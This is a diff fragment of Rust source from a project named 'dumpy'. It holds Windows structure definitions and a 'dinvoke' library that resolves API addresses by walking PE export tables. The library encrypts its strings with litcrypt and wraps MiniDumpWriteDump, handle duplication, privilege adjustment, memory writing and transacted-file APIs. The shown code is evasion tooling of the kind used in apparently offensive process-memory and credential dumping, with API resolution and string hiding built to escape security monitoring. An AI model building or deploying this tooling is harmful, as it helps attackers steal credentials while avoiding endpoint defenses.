+ pub address_of_entry_point: u32,
+ pub base_of_code: u32,
+ pub image_base: u64,
+ pub section_alignment: u32,
+ pub file_alignment: u32,
+ pub major_operating_system_version: u16,
+ pub minor_operating_system_version: u16,
+ pub major_image_version: u16,
+ pub minor_image_version: u16,
+ pub major_subsystem_version: u16,
+ pub minor_subsystem_version: u16,
+ pub win32_version_value: u32,
+ pub size_of_image: u32,
+ pub size_of_headers: u32,
+ pub checksum: u32,
+ pub subsystem: u16,
+ pub dll_characteristics: u16,
+ pub size_of_stack_reserve: u64,
+ pub size_of_stack_commit: u64,
+ pub size_of_heap_reserve: u64,
+ pub size_of_heap_commit: u64,
+ pub loader_flags: u32,
+ pub number_of_rva_and_sizes: u32,
+ pub datas_directory: [IMAGE_DATA_DIRECTORY; 16],
+}
+
+#[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
+#[repr(C)]
+pub struct GUID
+{
+ pub data1: u32,
+ pub data2: u16,
+ pub data3: u16,
+ pub data4: [u8; 8],
+}
+
+#[repr(C)]
+pub struct SYSTEM_HANDLE_INFORMATION {
+ pub number_of_handles: u32,
+ pub handles: Vec,
+}
+
+#[repr(C)]
+pub struct SYSTEM_HANDLE_TABLE_ENTRY_INFO {
+ pub process_id: u16,
+ pub creator_back_trace_index: u16,
+ pub object_type_index: u8,
+ pub handle_attributes: u8,
+ pub handle_value: u16,
+ pub object: PVOID,
+ pub granted_access: u32,
+}
+
+#[repr(C)]
+pub struct THREAD_BASIC_INFORMATION {
+ pub exit_status: i32,
+ pub teb_base_address: PVOID,
+ pub client_id: CLIENT_ID,
+ pub affinity_mask: usize,
+ pub priority: i32,
+ pub base_priority: i32,
+
+}
+
+#[repr(C)]
+pub struct OVERLAPPED {
+ pub internal: usize,
+ pub internal_high: usize,
+ pub anonymous: OVERLAPPED0,
+ pub event_handle: HANDLE,
+}
+
+impl Default for OVERLAPPED {
+ fn default() -> OVERLAPPED {
+ OVERLAPPED {
+ internal: 0usize,
+ internal_high: 0usize,
+ anonymous: OVERLAPPED0::default(),
+ event_handle: HANDLE::default(),
+ }
+ }
+}
+
+pub union OVERLAPPED0 {
+ pub anonymous: OVERLAPPED_0_0,
+ pub pointer: *mut c_void,
+}
+
+impl Default for OVERLAPPED0 {
+ fn default() -> OVERLAPPED0 {
+ OVERLAPPED0 {
+ anonymous: OVERLAPPED_0_0::default(),
+ }
+ }
+}
+
+#[repr(C)]
+#[derive(Copy, Clone, Default, PartialEq, Debug, Eq)]
+pub struct OVERLAPPED_0_0 {
+ pub offset: u32,
+ pub offset_high: u32,
+}
+
+#[repr(C)]
+#[derive(Copy, Clone, Default)]
+pub struct REQUEST_OPLOCK_INPUT_BUFFER {
+ pub structure_version: u16,
+ pub structure_length: u16,
+ pub requested_oplock_level: u32,
+ pub flags: u32,
+}
+
+#[repr(C)]
+#[derive(Copy, Clone, Default)]
+pub struct REQUEST_OPLOCK_OUTPUT_BUFFER {
+ pub structure_version: u16,
+ pub structure_length: u16,
+ pub original_oplock_level: u32,
+ pub new_oplock_level: u32,
+ pub flags: u32,
+ pub access_mode: u32,
+ pub share_mode: u16,
+}
+
+#[repr(C)]
+pub struct FILE_PROCESS_IDS_USING_FILE_INFORMATION {
+ pub number_of_process_ids_in_list: u32,
+ pub process_id_list: [usize;1],
+}
+```
+
+`dumpy/dinvoke/Cargo.toml`:
+
+```toml
+[package]
+name = "dinvoke"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+[profile.dev.package.dinvoke]
+opt-level = 2
+debug = 0
+
+[dependencies]
+bindings = { path = "../bindings" }
+data = { path = "../data" }
+libc = "0.2.101"
+winproc = "0.6.4"
+litcrypt2 = "0.1.2"
+```
+
+`dumpy/dinvoke/src/lib.rs`:
+
+```rs
+#[macro_use]
+extern crate litcrypt2;
+use_litcrypt!();
+
+use std::ptr;
+use std::ffi::CString;
+use data::{CloseHandle, DLL_PROCESS_ATTACH, EntryPoint, LdrGetProcedureAddress, LoadLibraryA, OpenProcess, PVOID, PeMetadata, GUID};
+use libc::c_void;
+use litcrypt2::lc;
+use winproc::Process;
+
+use bindings::Windows::Win32::{Foundation::{HANDLE, HINSTANCE, PSTR, BOOL}, System::{WindowsProgramming::{OBJECT_ATTRIBUTES, CLIENT_ID, IO_STATUS_BLOCK}, Diagnostics::Debug::{MINIDUMP_EXCEPTION_INFORMATION, MINIDUMP_USER_STREAM_INFORMATION, MINIDUMP_CALLBACK_INFORMATION}}, Security::SECURITY_ATTRIBUTES};
+
+
+/// Retrieves the base address of a module loaded in the current process.
+///
+/// In case that the module can't be found in the current process, it will
+/// return 0.
+///
+/// # Examples
+///
+/// ```
+/// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
+///
+/// if ntdll != 0
+/// {
+/// println!("The base address of ntdll.dll is 0x{:X}.", ntdll);
+/// }
+/// ```
+pub fn get_module_base_address (module_name: &str) -> isize
+{
+ let process = Process::current();
+ let modules = process.module_list().unwrap();
+ for m in modules
+ {
+ if m.name().unwrap().to_lowercase() == module_name.to_ascii_lowercase()
+ {
+ let handle = m.handle();
+ return handle as isize;
+ }
+ }
+
+ 0
+}
+
+/// Retrieves the address of an exported function from the specified module.
+///
+/// This functions is analogous to GetProcAddress from Win32. The exported
+/// function's address is obtained by walking and parsing the EAT of the
+/// specified module.
+///
+/// In case that the function's address can't be retrieved, it will return 0.
+///
+/// # Examples
+///
+/// ```
+/// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
+///
+/// if ntdll != 0
+/// {
+/// let addr = dinvoke::get_function_address(ntdll, "NtCreateThread");
+/// println!("The address where NtCreateThread is located at is 0x{:X}.", addr);
+/// }
+/// ```
+pub fn get_function_address(module_base_address: isize, function: &str) -> isize {
+
+ unsafe
+ {
+
+ let mut function_ptr:*mut i32 = ptr::null_mut();
+ let pe_header = *((module_base_address + 0x3C) as *mut i32);
+ let opt_header: isize = module_base_address + (pe_header as isize) + 0x18;
+ let magic = *(opt_header as *mut i16);
+ let p_export: isize;
+
+ if magic == 0x010b
+ {
+ p_export = opt_header + 0x60;
+ }
+ else
+ {
+ p_export = opt_header + 0x70;
+ }
+
+ let export_rva = *(p_export as *mut i32);
+ let ordinal_base = *((module_base_address + export_rva as isize + 0x10) as *mut i32);
+ let number_of_names = *((module_base_address + export_rva as isize + 0x18) as *mut i32);
+ let functions_rva = *((module_base_address + export_rva as isize + 0x1C) as *mut i32);
+ let names_rva = *((module_base_address + export_rva as isize + 0x20) as *mut i32);
+ let ordinals_rva = *((module_base_address + export_rva as isize + 0x24) as *mut i32);
+
+ for x in 0..number_of_names
+ {
+
+ let address = *((module_base_address + names_rva as isize + x as isize * 4) as *mut i32);
+ let mut function_name_ptr = (module_base_address + address as isize) as *mut u8;
+ let mut function_name: String = "".to_string();
+
+ while *function_name_ptr as char != '\0' // null byte
+ {
+ function_name.push(*function_name_ptr as char);
+ function_name_ptr = function_name_ptr.add(1);
+ }
+
+ if function_name.to_lowercase() == function.to_lowercase()
+ {
+ let function_ordinal = *((module_base_address + ordinals_rva as isize + x as isize * 2) as *mut i16) as i32 + ordinal_base;
+ let function_rva = *(((module_base_address + functions_rva as isize + (4 * (function_ordinal - ordinal_base)) as isize )) as *mut i32);
+ function_ptr = (module_base_address + function_rva as isize) as *mut i32;
+
+ break;
+ }
+
+ }
+
+ let mut ret: isize = 0;
+
+ if function_ptr != ptr::null_mut()
+ {
+ ret = function_ptr as isize;
+ }
+
+ ret
+
+ }
+}
+
+/// Calls the module's entry point with the option DLL_ATTACH_PROCESS.
+///
+/// # Examples
+///
+/// ```ignore
+/// let pe = manualmap::read_and_map_module("c:\\some\\random\\file.dll").unwrap();
+/// let ret = dinvoke::call_module_entry_point(&pe.0, pe.1);
+/// ```
+pub fn call_module_entry_point(pe_info: &PeMetadata, module_base_address: isize) -> Result<(), String> {
+
+ let entry_point: isize;
+ if pe_info.is_32_bit
+ {
+ entry_point = module_base_address + pe_info.opt_header_32.AddressOfEntryPoint as isize;
+ }
+ else
+ {
+ entry_point = module_base_address + pe_info.opt_header_64.address_of_entry_point as isize;
+
+ }
+
+ unsafe
+ {
+ let main: EntryPoint = std::mem::transmute(entry_point);
+ let module = HINSTANCE {0: entry_point as isize};
+ let ret = main(module, DLL_PROCESS_ATTACH, ptr::null_mut());
+
+ if !ret.as_bool()
+ {
+ return Err(lc!("[x] Failed to call module's entry point (DllMain -> DLL_PROCESS_ATTACH)."));
+ }
+
+ Ok(())
+ }
+}
+
+/// Retrieves the address of an exported function from the specified module by its ordinal.
+///
+/// In case that the function's address can't be retrieved, it will return 0.
+///
+/// This functions internally calls LdrGetProcedureAddress.
+///
+/// # Examples
+///
+/// ```
+/// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
+///
+/// if ntdll != 0
+/// {
+/// let ordinal: u32 = 8;
+/// let addr = dinvoke::get_function_address_ordinal(ntdll, 8);
+/// println!("The function with ordinal 8 is located at 0x{:X}.", addr);
+/// }
+/// ```
+pub fn get_function_address_by_ordinal(module_base_address: isize, ordinal: u32) -> isize {
+
+ let ret = ldr_get_procedure_address(module_base_address, "", ordinal);
+
+ match ret {
+ Ok(r) => return r,
+ Err(_) => return 0,
+ }
+
+}
+
+/// Retrieves the address of an exported function from the specified module either by its name
+/// or by its ordinal number.
+///
+/// This functions internally calls LdrGetProcedureAddress.
+///
+/// In case that the function's address can't be retrieved, it will return an Err with a
+/// descriptive error message.
+///
+/// # Examples
+///
+/// ```
+/// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
+///
+/// if ntdll != 0
+/// {
+/// let ordinal: u32 = 8; // Ordinal 8 represents the function RtlDispatchAPC
+/// let ret = dinvoke::ldr_get_procedure_address(ntdll,"", 8);
+/// match ret {
+/// Ok(addr) => println!("The address where RtlDispatchAPC is located at is 0x{:X}.", addr),
+/// Err(e) => println!("{}",e),
+/// }
+///
+/// }
+/// ```
+///
+#[allow(invalid_reference_casting)]
+pub fn ldr_get_procedure_address (module_handle: isize, function_name: &str, ordinal: u32) -> Result {
+
+ unsafe
+ {
+ let mut result: isize = 0;
+
+ let module_base_address = get_module_base_address(&lc!("ntdll.dll"));
+ if module_base_address != 0
+ {
+ let function_address: isize = get_function_address(module_base_address, &lc!("LdrGetProcedureAddress"));
+
+ if function_address != 0
+ {
+ let hmodule: PVOID = std::mem::transmute(module_handle);
+ let func_ptr: LdrGetProcedureAddress = std::mem::transmute(function_address);
+ let return_address: *mut c_void = std::mem::transmute(&u64::default());
+ let return_address: *mut PVOID = std::mem::transmute(return_address);
+ let mut fun_name: *mut String = std::mem::transmute(&String::default());
+
+ if function_name == ""
+ {
+ fun_name = ptr::null_mut();
+ }
+ else
+ {
+ *fun_name = function_name.to_string();
+ }
+
+ let ret = func_ptr(hmodule, fun_name, ordinal, return_address);
+
+ if ret == 0
+ {
+ result = *return_address as isize;
+ }
+ }
+ else
+ {
+ return Err(lc!("[x] Error obtaining LdrGetProcedureAddress address."));
+ }
+ }
+ else
+ {
+ return Err(lc!("[x] Error obtaining ntdll.dll base address."));
+ }
+
+ Ok(result)
+ }
+}
+
+/// Loads and retrieves a module's base address by dynamically calling LoadLibraryA.
+///
+/// It will return either the module's base address or an Err with a descriptive error message.
+///
+/// # Examples
+///
+/// ```
+/// let ret = dinvoke::load_library_a("ntdll.dll");
+///
+/// match ret {
+/// Ok(addr) => if addr != 0 {println!("ntdll.dll base address is 0x{:X}.", addr)},
+/// Err(e) => println!("{}",e),
+/// }
+/// ```
+pub fn load_library_a(module: &str) -> Result {
+
+ unsafe
+ {
+
+ let module_base_address = get_module_base_address(&lc!("kernel32.dll"));
+ let result;
+ if module_base_address != 0
+ {
+ let function_address = get_function_address(module_base_address, &lc!("LoadLibraryA"));
+
+ if function_address != 0
+ {
+ let function_ptr: LoadLibraryA = std::mem::transmute(function_address);
+ let name = CString::new(module.to_string()).expect("CString::new failed");
+ let function_name = PSTR{0: name.as_ptr() as *mut u8};
+
+ result = function_ptr(function_name);
+ }
+ else
+ {
+ return Err(lc!("[x] Error obtaining LoadLibraryA address."));
+ }
+ }
+ else
+ {
+ return Err(lc!("[x] Error obtaining kernel32.dll base address."));
+ }
+
+ Ok(result.0 as isize)
+ }
+
+}
+
+/// Opens a HANDLE to a process.
+///
+/// It will return either a HANDLE object or an Err with a descriptive error message. If the function
+/// fails the HANDLE will have value -1 or 0.
+///
+/// # Examples
+///
+/// ```
+/// let pid = 792u32;
+/// let handle = dinvoke::open_process(0x0040, 0, pid).unwrap(); //PROCESS_DUP_HANDLE access right.
+///
+/// if handle.0 != 0 && handle.0 != -1
+/// {
+/// println!("Handle to process with id {} with PROCESS_DUP_HANDLE access right successfully obtained.", pid);
+/// }
+/// ```
+pub fn open_process(desired_access: u32, inherit_handle: i32, process_id: u32) -> Result {
+
+ unsafe
+ {
+
+ let module_base_address = get_module_base_address(&lc!("kernel32.dll"));
+ let handle;
+ if module_base_address != 0
+ {
+ let function_address = get_function_address(module_base_address, &lc!("OpenProcess"));
+
+ if function_address != 0
+ {
+ let function_ptr: OpenProcess = std::mem::transmute(function_address);
+
+
+ handle = function_ptr(desired_access,inherit_handle,process_id);
+ }
+ else
+ {
+ return Err(lc!("[x] Error obtaining OpenProcess address."));
+ }
+ }
+ else
+ {
+ return Err(lc!("[x] Error obtaining kernel32.dll base address."));
+ }
+
+ Ok(handle)
+ }
+
+}
+
+/// Closes a HANDLE object.
+///
+/// It will return either a boolean value or an Err with a descriptive error message. If the function
+/// fails the bool value returned will be false.
+///
+/// # Examples
+///
+/// ```
+/// let pid = 792u32;
+/// let handle = dinvoke::open_process(0x0040, 0, pid).unwrap(); //PROCESS_DUP_HANDLE access right.
+///
+/// if handle.0 != 0 && handle.0 != -1
+/// {
+/// let r = dinvoke::close_handle(handle).unwrap();
+/// if r
+/// {
+/// println!("Handle to process with id {} closed.", pid);
+/// }
+/// }
+/// ```
+pub fn close_handle(handle: HANDLE) -> Result {
+ unsafe
+ {
+
+ let module_base_address = get_module_base_address(&lc!("kernel32.dll"));
+ let ret;
+ if module_base_address != 0
+ {
+ let function_address = get_function_address(module_base_address, &lc!("CloseHandle"));
+
+ if function_address != 0
+ {
+ let function_ptr: CloseHandle = std::mem::transmute(function_address);
+
+
+ ret = function_ptr(handle);
+ }
+ else
+ {
+ return Err(lc!("[x] Error obtaining CloseHandle address."));
+ }
+ }
+ else
+ {
+ return Err(lc!("[x] Error obtaining kernel32.dll base address."));
+ }
+
+ if ret == 0
+ {
+ return Ok(false);
+ }
+
+ Ok(true)
+ }
+}
+
+/// Dynamically calls QueryFullProcessImageNameW.
+///
+pub fn query_full_process_image_name(process_handle: HANDLE, flags: u32, name: *mut u16, size: *mut u32) -> i32 {
+
+ unsafe
+ {
+ let ret;
+ let func_ptr: data::QueryFullProcessImageNameW;
+ let kernel32 = get_module_base_address(&lc!("kernel32.dll"));
+ dynamic_invoke!(kernel32,&lc!("QueryFullProcessImageNameW"),func_ptr,ret,process_handle,flags,name,size);
+
+ match ret {
+ Some(x) => return x,
+ None => return -1,
+ }
+ }
+}
+
+/// Dynamically calls CreateTransaction.
+///
+pub fn create_transaction(attributes: *mut SECURITY_ATTRIBUTES,uow: *mut GUID, options: u32, isolation_level: u32, isolation_flags: u32, timeout: u32, description: *mut u16) -> HANDLE {
+
+ unsafe
+ {
+ let ret: Option;
+ let func_ptr: data::CreateTransaction;
+ let ktmv = load_library_a(&lc!("KtmW32.dll")).unwrap();
+ dynamic_invoke!(ktmv,&lc!("CreateTransaction"),func_ptr,ret,attributes,uow,options,isolation_level,isolation_flags,timeout,description);
+
+ match ret {
+ Some(x) => return x,
+ None => return HANDLE { 0: 0 } ,
+ }
+ }
+}
+
+/// Dynamically calls CreateFileTransactedA.
+///
+pub fn create_file_transacted(name: *mut u8, access: u32, mode: u32, attributes: *const SECURITY_ATTRIBUTES, disposition: u32, flags: u32, template: HANDLE, transaction: HANDLE, version: *const u32, extended: PVOID) -> HANDLE {
+
+ unsafe
+ {
+ let ret: Option;
+ let func_ptr: data::CreateFileTransactedA;
+ let kernel32 = get_module_base_address(&lc!("kernel32.dll"));
+ dynamic_invoke!(kernel32,&lc!("CreateFileTransactedW"),func_ptr,ret,name,access,mode,attributes,disposition,flags,template,transaction,version,extended);
+
+ match ret {
+ Some(x) => return x,
+ None => return HANDLE { 0: 0 } ,
+ }
+ }
+}
+
+/// Dynamically calls MiniDumpWriteDump.
+///
+pub fn mini_dump_write_dump (process: HANDLE, process_id: u32, file: HANDLE, dump_type: u32, exception: *mut MINIDUMP_EXCEPTION_INFORMATION, stream: *mut MINIDUMP_USER_STREAM_INFORMATION, callback: *mut MINIDUMP_CALLBACK_INFORMATION) -> i32 {
+
+ unsafe
+ {
+ let ret;
+ let func_ptr: data::MiniDumpWriteDump;
+ let dbg = load_library_a(&lc!("Dbgcore.dll")).unwrap();
+ dynamic_invoke!(dbg,&lc!("MiniDumpWriteDump"),func_ptr,ret,process,process_id,file,dump_type,exception,stream,callback);
+
+ match ret {
+ Some(x) => return x,
+ None => return 0,
+ }
+ }
+}
+
+/// Dynamically calls GetFileSize.
+///
+pub fn get_file_size(handle: HANDLE, size: *mut u32) -> u32 {
+
+ unsafe
+ {
+ let ret: Option;
+ let func_ptr: data::GetFileSize;
+ let kernel32 = get_module_base_address(&lc!("kernel32.dll"));
+ dynamic_invoke!(kernel32,&lc!("GetFileSize"),func_ptr,ret,handle,size);
+
+ match ret {
+ Some(x) => return x,
+ None => return 0,
+ }
+ }
+}
+
+/// Dynamically calls CreateFileMappingW.
+///
+pub fn create_file_mapping (file: HANDLE, attributes: *const SECURITY_ATTRIBUTES, protect: u32, max_size_high: u32, max_size_low: u32, name: *mut u8) -> HANDLE {
+
+ unsafe
+ {
+ let ret: Option;
+ let func_ptr: data::CreateFileMapping;
+ let kernel32 = get_module_base_address(&lc!("kernel32.dll"));
+ dynamic_invoke!(kernel32,&lc!("CreateFileMappingW"),func_ptr,ret,file,attributes,protect,max_size_high,max_size_low,name);
+
+ match ret {
+ Some(x) => return x,
+ None => return HANDLE { 0: 0 } ,
+ }
+ }
+}
+
+/// Dynamically calls MapViewOfFile.
+///
+pub fn map_view_of_file (file: HANDLE, access: u32, off_high: u32, off_low: u32, bytes: usize) -> PVOID {
+
+ unsafe
+ {
+ let ret: Option;
+ let func_ptr: data::MapViewOfFile;
+ let kernel32 = get_module_base_address(&lc!("kernel32.dll"));
+ dynamic_invoke!(kernel32,&lc!("MapViewOfFile"),func_ptr,ret,file,access,off_high,off_low,bytes);
+
+ match ret {
+ Some(x) => return x,
+ None => return ptr::null_mut() ,
+ }
+ }
+}
+
+/// Dynamically calls UnmapViewOfFile.
+///
+pub fn unmap_view_of_file (base_address: PVOID) -> bool {
+
+ unsafe
+ {
+ let ret: Option;
+ let func_ptr: data::UnmapViewOfFile;
+ let kernel32 = get_module_base_address(&lc!("kernel32.dll"));
+ dynamic_invoke!(kernel32,&lc!("UnmapViewOfFile"),func_ptr,ret,base_address);
+
+ match ret {
+ Some(x) => return x.as_bool(),
+ None => return false ,
+ }
+ }
+}
+
+/// Dynamically calls RollbackTransaction.
+///
+pub fn rollback_transaction(transaction: HANDLE) -> bool {
+
+ unsafe
+ {
+ let ret: Option;
+ let func_ptr: data::RollbackTransaction;
+ let ktmv = load_library_a(&lc!("KtmW32.dll")).unwrap();
+ dynamic_invoke!(ktmv,&lc!("RollbackTransaction"),func_ptr,ret,transaction);
+
+ match ret {
+ Some(x) => return x.as_bool(),
+ None => return false ,
+ }
+ }
+}
+
+pub fn get_last_error() -> u32
+{
+ unsafe
+ {
+ let ret: Option;
+ let func_ptr: data::GetLastError;
+ let module_base_address = get_module_base_address(&lc!("kernel32.dll"));
+ dynamic_invoke!(module_base_address,&lc!("GetLastError"),func_ptr,ret,);
+
+ match ret {
+ Some(x) => return x,
+ None => return 0xf,
+ }
+ }
+}
+
+/// Dynamically calls SetHandleInformation.
+///
+pub fn set_handle_information (object: HANDLE, mask: u32, flags: u32) -> bool {
+
+ unsafe
+ {
+ let ret: Option;
+ let func_ptr: data::SetHandleInformation;
+ let kernel32 = get_module_base_address(&lc!("kernel32.dll"));
+ dynamic_invoke!(kernel32,&lc!("SetHandleInformation"),func_ptr,ret,object,mask,flags);
+
+ match ret {
+ Some(x) => return x.as_bool(),
+ None => return false ,
+ }
+ }
+}
+
+/// Dynamically calls NtWriteVirtualMemory.
+///
+/// It will return the NTSTATUS value returned by the call.
+pub fn nt_write_virtual_memory (handle: HANDLE, base_address: PVOID, buffer: PVOID, size: usize, bytes_written: *mut usize) -> i32 {
+
+ unsafe
+ {
+ let ret;
+ let func_ptr: data::NtWriteVirtualMemory;
+ let ntdll = get_module_base_address(&lc!("ntdll.dll"));
+ dynamic_invoke!(ntdll,&lc!("NtWriteVirtualMemory"),func_ptr,ret,handle,base_address,buffer,size,bytes_written);
+
+ match ret {
+ Some(x) => return x,
+ None => return -1,
+ }
+ }
+
+}
+
+/// Dynamically calls NtAllocateVirtualMemory.
+///
+/// It will return the NTSTATUS value returned by the call.
+pub fn nt_allocate_virtual_memory (handle: HANDLE, base_address: *mut PVOID, zero_bits: usize, size: *mut usize, allocation_type: u32, protection: u32) -> i32 {
+
+ unsafe
+ {
+ let ret;
+ let func_ptr: data::NtAllocateVirtualMemory;
+ let ntdll = get_module_base_address(&lc!("ntdll.dll"));
+ dynamic_invoke!(ntdll,&lc!("NtAllocateVirtualMemory"),func_ptr,ret,handle,base_address,zero_bits,size,allocation_type,protection);
+
+ match ret {
+ Some(x) => return x,
+ None => return -1,
+ }
+ }
+}
+
+/// Dynamically calls NtProtectVirtualMemory.
+///
+/// It will return the NTSTATUS value returned by the call.
+pub fn nt_protect_virtual_memory (handle: HANDLE, base_address: *mut PVOID, size: *mut usize, new_protection: u32, old_protection: *mut u32) -> i32 {
+
+ unsafe
+ {
+ let ret;
+ let func_ptr: data::NtProtectVirtualMemory;
+ let ntdll = get_module_base_address(&lc!("ntdll.dll"));
+ dynamic_invoke!(ntdll,&lc!("NtProtectVirtualMemory"),func_ptr,ret,handle,base_address,size,new_protection,old_protection);
+
+ match ret {
+ Some(x) => return x,
+ None => return -1,
+ }
+ }
+}
+
+/// Dynamically calls NtQueryInformationProcess.
+///
+/// It will return the NTSTATUS value returned by the call.
+pub fn nt_query_information_process (handle: HANDLE, process_information_class: u32, process_information: PVOID, length: u32, return_length: *mut u32) -> i32 {
+
+ unsafe
+ {
+ let ret;
+ let func_ptr: data::NtQueryInformationProcess;
+ let ntdll = get_module_base_address(&lc!("ntdll.dll"));
+ dynamic_invoke!(ntdll,&lc!("NtQueryInformationProcess"),func_ptr,ret,handle,process_information_class,process_information,length,return_length);
+
+ match ret {
+ Some(x) => return x,
+ None => return -1,
+ }
+ }
+}
+
+/// Dynamically calls RtlAdjustPrivilege.
+///
+/// It will return the NTSTATUS value returned by the call.
+pub fn rtl_adjust_privilege(privilege: u32, enable: u8, current_thread: u8, enabled: *mut u8) -> i32 {
+
+ unsafe
+ {
+ let ret;
+ let func_ptr: data::RtlAdjustPrivilege;
+ let ntdll = get_module_base_address(&lc!("ntdll.dll"));
+ dynamic_invoke!(ntdll,&lc!("RtlAdjustPrivilege"),func_ptr,ret,privilege,enable,current_thread,enabled);
+
+ match ret {
+ Some(x) => return x,
+ None => return -1,
+ }
+ }
+}
+
+/// Dynamically calls NtQuerySystemInformation.
+///
+/// It will return the NTSTATUS value returned by the call.
+pub fn nt_query_system_information(system_information_class: u32, system_information: PVOID, length: u32, return_length: *mut u32) -> i32 {
+
+ unsafe
+ {
+ let ret;
+ let func_ptr: data::NtQuerySystemInformation;
+ let ntdll = get_module_base_address(&lc!("ntdll.dll"));
+ dynamic_invoke!(ntdll,&lc!("NtQuerySystemInformation"),func_ptr,ret,system_information_class,system_information,length,return_length);
+
+ match ret {
+ Some(x) => return x,
+ None => return -1,
+ }
+ }
+}
+
+/// Dynamically calls NtQueryInformationThread.
+///
+/// It will return the NTSTATUS value returned by the call.
+pub fn nt_query_information_thread(handle: HANDLE, thread_information_class: u32, thread_information: PVOID, length: u32, return_length: *mut u32) -> i32 {
+
+ unsafe
+ {
+ let ret;
+ let func_ptr: data::NtQueryInformationProcess;
+ let ntdll = get_module_base_address(&lc!("ntdll.dll"));
+ dynamic_invoke!(ntdll,&lc!("NtQueryInformationThread"),func_ptr,ret,handle,thread_information_class,thread_information,length,return_length);
+
+ match ret {
+ Some(x) => return x,
+ None => return -1,
+ }
+ }
+}
+
+/// Dynamically calls NtQueryInformationFile.
+///
+/// It will return the NTSTATUS value returned by the call.
+pub fn nt_query_information_file(handle: HANDLE, io: *mut IO_STATUS_BLOCK, file_information: PVOID, length: u32,file_information_class: u32) -> i32 {
+
+ unsafe
+ {
+ let ret;
+ let func_ptr: data::NtQueryInformationFile;
+ let ntdll = get_module_base_address(&lc!("ntdll.dll"));
+ dynamic_invoke!(ntdll,&lc!("NtQueryInformationFile"),func_ptr,ret,handle,io,file_information,length,file_information_class);
+
+ match ret {
+ Some(x) => return x,
+ None => return -1,
+ }
+ }
+}
+
+
+/// Dynamically calls NtOpenProcess.
+///
+/// It will return the NTSTATUS value returned by the call.
+pub fn nt_open_process(handle: *mut HANDLE, desired_access: u32, attributes: *mut OBJECT_ATTRIBUTES, client_id: *mut CLIENT_ID) -> i32 {
+
+ unsafe
+ {
+ let ret;
+ let func_ptr: data::NtOpenProcess;
+ let ntdll = get_module_base_address(&lc!("ntdll.dll"));
+ dynamic_invoke!(ntdll,&lc!("NtOpenProcess"),func_ptr,ret,handle,desired_access,attributes,client_id);
+
+ match ret {
+ Some(x) => return x,
+ None => return -1,
+ }
+ }
+}
+
+/// Dynamically calls NtDuplicateObject.
+///
+/// It will return the NTSTATUS value returned by the call.
+pub fn nt_duplicate_object(source_phandle: HANDLE, source_handle:HANDLE, target_phandle: HANDLE, target_handle: *mut HANDLE, desired_access: u32, attributes: u32, options: u32) -> i32 {
+
+ unsafe
+ {
+ let ret;
+ let func_ptr: data::NtDuplicateObject;
+ let ntdll = get_module_base_address(&lc!("ntdll.dll"));
+ dynamic_invoke!(ntdll,&lc!("NtDuplicateObject"),func_ptr,ret,source_phandle,source_handle,target_phandle,target_handle,desired_access,attributes,options);
+
+ match ret {
+ Some(x) => return x,
+ None => return -1,
+ }
+ }
+}
+
+/// Dynamically calls NtQueryObject.
+///
+/// It will return the NTSTATUS value returned by the call.
+pub fn nt_query_object(handle: HANDLE, object_information_class: u32, object_information: PVOID, length: u32, return_length: *mut u32) -> i32 {
+
+ unsafe
+ {
+ let ret;
+ let func_ptr: data::NtQueryObject;
+ let ntdll = get_module_base_address(&lc!("ntdll.dll"));
+ dynamic_invoke!(ntdll,&lc!("NtQueryObject"),func_ptr,ret,handle,object_information_class,object_information,length,return_length);
+
+ match ret {
+ Some(x) => return x,
+ None => return -1,
+ }
+ }
+}
+
+/// Dynamically calls an exported function from the specified module.
+///
+/// This macro will use the dinvoke crate functions to obtain an exported
+/// function address of the specified module in the runtime by walking process structures
+/// and PE headers.
+///
+/// In case that this macro is used to call a dll entry point (DllMain), it will return true
+/// or false (using the 3rd argument passed to the macro) depending on the success of the call.
+/// In any other case, it will return the same data type that the called function would return
+/// using the 4th argument passed to the macro.
+///
+/// # Example - Calling a dll entry point
+///
+/// ```ignore
+/// let a = manualmap::read_and_map_module("c:\\some\\random\\file.dll").unwrap();
+/// let ret: bool = false;
+/// dinvoke::dynamic_invoke(&a.0, a.1, ret); // dinvoke::dynamic_invoke(&PeMetadata, i64, bool)
+/// if ret { println!("Entry point successfully called.");}
+/// ```
+/// # Example - Dynamically calling LoadLibraryA
+///
+/// ```ignore
+/// let kernel32 = manualmap::read_and_map_module("c:\\windows\\system32\\kernel32.dll").unwrap();
+/// let mut ret:Option;
+/// let function_ptr: data::LoadLibraryA;
+/// let name = CString::new("ntdll.dll").expect("CString::new failed");
+/// let module_name = PSTR{0: name.as_ptr() as *mut u8};
+/// //dinvoke::dynamic_invoke(i64,&str,,Option,[arguments])
+/// dinvoke::dynamic_invoke(a.1, "LoadLibraryA", function_ptr, ret, module_name);
+///
+/// match ret {
+/// Some(x) => if x.0 == 0 {println!("ntdll base address is 0x{:X}",x.0);},
+/// None => println!("Error calling LdrGetProcedureAddress"),
+/// }
+/// ```
+/// # Example - Dynamically calling with referenced arguments
+///
+/// ```ignore
+/// let ptr = dinvoke::get_module_base_address("ntdll.dll");
+/// let function_ptr: LdrGetProcedureAddress;
+/// let ret: Option;
+/// let hmodule: PVOID = std::mem::transmute(ptr);
+/// let fun_name: *mut String = ptr::null_mut();
+/// let ordinal = 8 as u32;
+/// let return_address: *mut c_void = std::mem::transmute(&u64::default());
+/// let return_address: *mut PVOID = std::mem::transmute(return_address);
+/// //dinvoke::dynamic_invoke(i64,&str,,Option,[arguments])
+/// dinvoke::dynamic_invoke!(ptr,"LdrGetProcedureAddress",function_ptr,ret,hmodule,fun_name,ordinal,return_address);
+///
+/// match ret {
+/// Some(x) => if x == 0 {println!("RtlDispatchAPC is located at the address: 0x{:X}",*return_address as u64);},
+/// None => println!("Error calling LdrGetProcedureAddress"),
+/// }
+/// ```
+#[macro_export]
+macro_rules! dynamic_invoke {
+
+ ($a:expr, $b:expr, $c:expr) => {
+
+ let ret = $crate::call_module_entry_point(&$a,$b);
+
+ match ret {
+ Ok(_) => $c = true,
+ Err(_) => $c = false,
+ }
+
+ };
+
+ ($a:expr, $b:expr, $c:expr, $d:expr, $($e:tt)*) => {
+
+ let function_ptr = $crate::get_function_address($a, $b);
+ if function_ptr != 0
+ {
+ $c = std::mem::transmute(function_ptr);
+ $d = Some($c($($e)*));
+ }
+ else
+ {
+ $d = None;
+ }
+
+ };
